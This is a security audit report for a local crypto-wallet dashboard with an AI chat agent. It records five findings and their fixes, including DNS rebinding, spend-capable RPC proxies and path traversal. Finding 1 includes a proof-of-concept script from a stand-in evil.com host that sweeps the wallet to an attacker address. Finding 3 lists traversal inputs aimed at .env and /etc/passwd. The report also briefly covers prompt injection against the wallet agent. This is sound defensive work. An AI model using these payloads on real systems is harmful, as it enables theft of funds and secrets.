# AIW Security Audit & Remediation — Pass 4

**Date:** 2026-05-18
**Branch:** `aiw-genesis`
**Scope:** `ui/server.mjs`, `ui/kit-prompt.mjs`, `core/agent-sdk-chat.mjs`, `core/strike.mjs`, `core/chain-manager.mjs`, `ui/public/dashboard.js`, `ui/public/chat.js`, `main.js`
**Method:** Static analysis + data-flow tracing from request entry to fund-moving / key-disclosure sinks, across a fixed 10-area threat checklist. Builds on the prior remediation passes recorded in [`SECURITY-REVIEW.md`](SECURITY-REVIEW.md), [`SECURITY-AUDIT2.md`](SECURITY-AUDIT2.md), and [`SECURITY-AUDIT3.md`](SECURITY-AUDIT3.md) (the `AUD-#` annotations in the source originate across these passes).

---

## Executive Summary

By Pass 4 the codebase is heavily hardened: a denylist-gated RPC proxy, a forced `do_not_relay` staging model for AI-initiated spends, timing-safe PIN/password comparison, per-IP brute-force lockout keyed on the real TCP peer (not `X-Forwarded-For`), exact-host same-origin checks, a session-cookie auth gate (`SameSite=Strict`), an environment **allowlist** for the Agent SDK subprocess, second-factor + lockout gates on seed reveal / Strike PIN / Decree PIN, and an HTML-escaping markdown renderer that closes the prompt-injection→XSS chat path.

This pass re-reviewed **10 attack surfaces**. Nine were found already well-defended by the prior passes. The one structural gap that crossed several concerns at once was **DNS rebinding**: in the documented default config (`DASHBOARD_PASSWORD` blank, loopback bind, every request treated as authenticated), the only barrier between a malicious web page and the full fund-moving API is an `Origin`/`Host` comparison — both attacker-controlled under DNS rebinding. **Five findings were identified and all five have been remediated** in this pass. Finding #1 (the Host guard) is the highest-leverage fix and also closes the practical CSRF vector (#5).

**Overall posture: well-defended pre-pass; the rebinding gap closed → acceptable for the stated trust model (single-user, local, loopback-bound, optionally password-gated).**

| # | Finding | Severity | Status |
|---|---|---|---|
| 1 | DNS rebinding bypasses the same-origin API gate (full unauth API in passwordless default) | **HIGH** | ✅ Fixed |
| 2 | `/api/rpc/wallet` & `/api/btc/rpc` broadcast spends with no confirm/PIN | **MEDIUM** | ✅ Fixed |
| 3 | `loadSkill` path traversal (`/api/skill/<name>`) | LOW | ✅ Fixed |
| 4 | `readBody` unbounded → memory-exhaustion DoS | LOW | ✅ Fixed |
| 5 | CSRF relies only on Origin + `SameSite` (no token; no-Origin ⇒ same-origin) | MEDIUM | ✅ Resolved via #1 |
| — | RPC injection (chat) | Low (mitigated by design) | No change needed |
| — | Prompt injection → unauthorized tx | Low (do-not-relay gate holds) | No change needed |
| — | `.env` exposure | Info | Pass |
| — | Queen's Decree kill switch | Info | Pass — strong (auth + PIN + lockout) |
| — | Agent SDK session leak | Info | Pass — env allowlist + scratch cwd |
| — | Wallet / seed file access | Info | Pass — POST-only, 2FA, lockout, audit |

`AUD-#` tags introduced this pass: **`AUD-#7`** (DNS-rebinding guard), **`AUD-#8`** (proxy spend block), **`AUD-#9`** (body size cap), **`AUD-#5b`** (skill-name allowlist).

---

## Finding 1 — DNS rebinding bypasses the same-origin API gate

- **Severity:** HIGH (in the documented passwordless-loopback default; N/A when `DASHBOARD_PASSWORD` is set)
- **Areas:** #4 Auth bypass, #8 CORS/CSRF

### Attack vector
The cross-origin block, and in passwordless mode the entire auth model, rested on one comparison in `createServer()`:

```js
let _originHost = reqOrigin ? new URL(reqOrigin).host : null;
const sameOrigin = !reqOrigin || (!!req.headers.host && _originHost === req.headers.host);
if (path.startsWith('/api/') && reqOrigin && !sameOrigin && !mobileOrigin) { 403 }
```

There was **no `Host` allowlist**. Under DNS rebinding both `Origin` and `Host` are attacker-controlled: a victim visits `evil.com`, the page TTL-rebinds `evil.com → 127.0.0.1`, the browser then issues `fetch("http://evil.com:3000/api/...")` to the loopback-bound server with `Origin: http://evil.com:3000` and `Host: evil.com:3000`. `_originHost === req.headers.host` ⇒ `sameOrigin = true`, the `/api/` block is bypassed, and with `DASHBOARD_PASSWORD` blank `isAuthenticated()` returns `true` for every request — handing the malicious page the full fund-moving API. (With a password set, the `SameSite=Strict` session cookie is not sent cross-site, so rebinding yields only unauthenticated 302s — that config was never vulnerable.)

### Proof of concept
```html
<!-- hosted on evil.com, DNS rebound to 127.0.0.1 after first load -->
<script>setTimeout(() => fetch("http://evil.com:3000/api/rpc/wallet", {
  method:"POST", headers:{"Content-Type":"application/json"},
  body: JSON.stringify({ method:"sweep_all", params:{ address:"4ATTACKER…", account_index:0 }})
}), 60000);</script>
```

### Fix
A DNS-rebinding guard before the auth gate (`ui/server.mjs`, **AUD-#7**). In passwordless mode — the only config where rebinding grants auth, and where `secureBindHost()` already forces a loopback bind so the only legitimate `Host` *is* loopback — any non-loopback `Host` is rejected with `403`. When `DASHBOARD_PASSWORD` is set the guard is skipped, leaving legitimate LAN / Capacitor hosts untouched (the auth gate + `SameSite=Strict` already defeat rebinding there).

```js
if (!DASH_PASSWORD) {
  const hostHeader = (req.headers.host || '').trim();
  const hostName = hostHeader.replace(/:\d+$/, '').replace(/^\[|\]$/g, '');
  if (hostHeader && !isLoopbackHost(hostName)) {
    res.writeHead(403); res.end('Forbidden: unrecognized Host (DNS-rebinding guard)'); return;
  }
}
```

### Validation
Unit-tested the exact predicate: passwordless + `evil.com` / `attacker.io:3000` ⇒ **blocked**; passwordless + `127.0.0.1:3000` / `localhost:3000` / `[::1]:3000` / empty ⇒ **allowed**; password set + `evil.com` ⇒ **not blocked** (correct — auth gate handles it).

---

## Finding 2 — Raw RPC proxies broadcast spends with no confirm/PIN

- **Severity:** MEDIUM
- **Areas:** #1 RPC injection, #8 CSRF (this is the money sink #1/CSRF lands on)

### Attack vector
The chat pipeline forces `do_not_relay` on spends and routes through a Confirm dialog, and `RPC_BLOCKED_*` stops key-export / raw-broadcast. But the direct proxies did **not** apply the spend gate:

- `/api/rpc/wallet` — `transfer` / `transfer_split` / `sweep_all` / `sweep_single` are not in the blocklist, so a single authenticated POST broadcasts funds with no per-tx confirmation and no PIN.
- `/api/btc/rpc` — passed any method straight to `btcRpc()` with no spend filter at all (`sendtoaddress`, `sendrawtransaction`, …).

Any context reaching an authenticated session against these routes in one request — DNS rebinding (Finding 1), a stolen 7-day session cookie, or any local process in passwordless mode — drains the wallet, fully bypassing the Confirm dialog the threat model relies on.

### Fix (AUD-#8)
The raw proxies are for read/management calls only. They now reject fund-moving methods and direct the caller to the confirm-gated flow:

- `ui/server.mjs` `/api/rpc/wallet`: reject `SPENDING_METHODS` → `403 RPC_PROXY_SPEND_MSG`.
- `ui/server.mjs` `/api/btc/rpc`: reject `BTC_SPENDING_METHODS` → `403 RPC_PROXY_SPEND_MSG`.

**Non-breaking:** the dashboard's Send UI uses the confirm-gated `/api/transfer/send`, `/api/transfer/sweep`, `/api/btc/transfer/send`, and `/api/btc/transfer/sweep` (each requiring `confirmation === 'CONFIRM'` and a preview); the proxies are only used by the dashboard for reads, label edits, and address creation; chat uses the internal gated `rpc()` path. No UI change required.

---

## Finding 3 — `loadSkill` path traversal

- **Severity:** LOW (defense-in-depth; mitigated in practice by forced `.xml` suffix + WHATWG URL normalization)
- **Area:** #5 Path traversal

### Attack vector
`GET /api/skill/<name>` passed the raw URL tail to `loadSkill(skillName, chainId)` in `ui/kit-prompt.mjs`, which only stripped a trailing `.xml` before `join(KIT_DIR, 'chains/<chainId>/skills', name + '.xml')` and `readFileSync`. No `..` / slash sanitization — the only file-read path lacking the explicit allowlist `convoPath`/`_safeId` already use.

### Fix (AUD-#5b)
`skillName` and `chainId` are now hard-restricted to a flat `[A-Za-z0-9_-]` segment (`_safeSkillSeg`), identical to the `convoPath` allowlist, so `..`, slashes, and percent-encoded separators can never escape the per-chain skills directory.

### Validation
`../../../../.env`, `..%2f..%2fpackage`, `/etc/passwd`, `a/../../b`, `""` all return `null`; the 18 legitimate XMR skills still load.

---

## Finding 4 — `readBody` unbounded → memory-exhaustion DoS

- **Severity:** LOW (loopback app)
- **Area:** robustness / availability

### Attack vector
`readBody()` buffered the entire request body in memory with no cap; a single large POST to any endpoint exhausts process memory. The manual body reader in `/api/btc/rpc` had the same flaw.

### Fix (AUD-#9)
`readBody()` now enforces a 2 MB cap (`MAX_BODY_BYTES`) — comfortably above every real payload (settings form, seed/restore, chat message) — destroying the request and rejecting on overflow. The `/api/btc/rpc` manual reader got an equivalent cap returning `413`.

### Validation
Small body parses normally; a 3 MB body tears down the connection (server rejects → 413/500).

---

## Finding 5 — CSRF relies only on Origin + `SameSite`

- **Severity:** MEDIUM (largely mitigated pre-pass; residual closed here)
- **Area:** #8 CORS/CSRF

There is no CSRF token; protection is `SameSite=Strict` cookies + the exact-host Origin check. This holds for browser `fetch`/form POSTs (which send `Origin`). The genuine residual was the `sameOrigin = !reqOrigin || …` clause treating *missing-Origin* requests as same-origin, which combined with the absent Host check (Finding 1) to form the realistic exploit path.

**Resolved by Finding 1:** the Host guard rejects the rebinding/no-Origin path in passwordless mode; with a password, `SameSite=Strict` + the Origin check already cover browser CSRF. No separate token was introduced — it would require UI changes for no real residual risk under the single-user localhost trust model.

---

## Areas confirmed sound (no change needed)

| Area | Mechanism (already present) |
|---|---|
| RPC injection / Prompt injection | `RPC_BLOCKED_WALLET/DAEMON_METHODS` enforced **before dispatch** on both chat pipeline and proxies; chat spends forced `do_not_relay` + UI confirm. Prompt-injected agent can only *stage* a tx the user must confirm; cannot exfiltrate keys or broadcast. |
| `.env` exposure | `.env` outside `PUBLIC_DIR`; `/api/settings` GET masks every secret with a fixed mask (no prefix leak, `AUD-#3`); `.gitignore`/`.vercelignore` keep secrets/wallets/source out of git & the marketing deploy. |
| XSS | `renderMarkdown` HTML-escapes `&<>` before any transform and has no `[](url)`→`<a>` conversion (no `javascript:` vector); `dashboard.js` applies canonical `escapeHtml` (`AUD-#5`) to every attacker-influenced field. |
| Queen's Decree | `/api/decree/execute` requires authenticated session **and** `DECREE_PIN` with 5-try/15-min IP lockout (`AUD-#6`); Decree-critical `.env` keys need the current PIN even for an authed session. |
| Agent SDK session leak | Subprocess env built from an **allowlist**, credential vars hard-stripped (`AUD-002-06`), isolated scratch `cwd`, `settingSources:[]`, `mcpServers:{}`, `allowedTools:[]`, `maxTurns:1`, model allowlist clamp. |
| Wallet / seed access | `/api/wallets/seed` POST-only, behind `isAuthenticated` + second factor (dash pw → wallet pw → explicit confirm) + 3-try lockout + audit log (`AUD-#010`); `query_key` blocklisted on every agent/proxy path. |

---

## Changed files (this pass)

| File | Change | Tag |
|---|---|---|
| `ui/server.mjs` | DNS-rebinding Host guard before auth gate | `AUD-#7` |
| `ui/server.mjs` | `RPC_PROXY_SPEND_MSG`; `/api/rpc/wallet` rejects `SPENDING_METHODS`; `/api/btc/rpc` rejects `BTC_SPENDING_METHODS` + body cap | `AUD-#8` |
| `ui/server.mjs` | `readBody` 2 MB cap (`MAX_BODY_BYTES`) | `AUD-#9` |
| `ui/kit-prompt.mjs` | `_safeSkillSeg` allowlist on `loadSkill`/`listSkills` | `AUD-#5b` |

## Validation summary

- `node --check` passes on `ui/server.mjs`, `ui/kit-prompt.mjs`, `core/agent-sdk-chat.mjs`.
- Real-`.env` server boot: loopback request `200`; auth-gated routes `302` (as expected with password set).
- Isolated unit tests of the rebinding predicate, `readBody` cap, and `loadSkill` sanitization all pass (see per-finding Validation sections).

## Residual / recommendations

- The confirm-gated transfer endpoints (`/api/transfer/send|sweep`, `/api/btc/transfer/*`) use a fixed `confirmation: 'CONFIRM'` string, not a brute-forceable secret. Within the single-user localhost trust model (and after Finding 1) this is acceptable, but a per-session spending PIN would harden the *stolen-session-cookie* case. Tracked, not fixed this pass (UI-impacting, no exploit path post-#1).
- Trust model assumption remains: single user, local machine, loopback bind, optional password. Network exposure (`DASHBOARD_BIND` non-loopback) is correctly gated by `secureBindHost()` requiring a password.
